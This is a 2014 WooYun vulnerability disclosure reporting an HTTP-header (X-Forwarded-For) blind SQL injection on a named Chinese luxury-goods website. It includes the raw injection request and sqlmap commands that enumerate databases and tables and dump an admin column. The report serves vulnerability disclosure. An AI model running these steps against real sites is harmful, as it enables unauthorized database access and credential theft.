当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078713

漏洞标题：中国奢侈品网(中奢网)存在HTTP头SQL注射可读库

相关厂商：中国奢侈品网(中奢网)

漏洞作者： 随页清风

提交时间：2014-10-09 10:48

修复时间：2014-11-23 10:50

公开时间：2014-11-23 10:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-11-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

HTTP头过滤不当导致盲注

详细说明：

GET /%e5%8a%b3%e6%96%af%e8%8e%b1%e6%96%af%e5%b9%bb%e5%bd%b1/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
X-Forwarded-For: Cqj0Le8H*
X-Requested-With: XMLHttpRequest
Referer: http://s.chinaluxus.com:80/
Host: s.chinaluxus.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


用最新sqlmap测试

漏洞证明：

抓包保存为1.txt
python sqlmap/sqlmap.py -r c:\1.txt

1.jpg


存在注入
暴库
python sqlmap/sqlmap.py -r c:\1.txt --dbs

2.jpg


爆表
python sqlmap/sqlmap.py -r c:\1.txt -D "public" --tables

3.jpg


不继续了。。。
爆字段
python sqlmap/sqlmap.py -r c:\1.txt -D "public" -T "ledm_reviews" --columns
爆内容
python sqlmap/sqlmap.py -r c:\1.txt -D "public" -T "ledm_reviews" -C "admin" --dump

修复方案：

版权声明：转载请注明来源 随页清风@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2014-11-25 13:12 | Jumbo ( 普通白帽子 | Rank:111 漏洞数:29 | 猫 - http://www.chinabaiker.com)

    是如何发现的呢

  2. 2014-11-26 14:30 | 随页清风 ( 普通白帽子 | Rank:131 漏洞数:41 | 剑有所指)

    WVS扫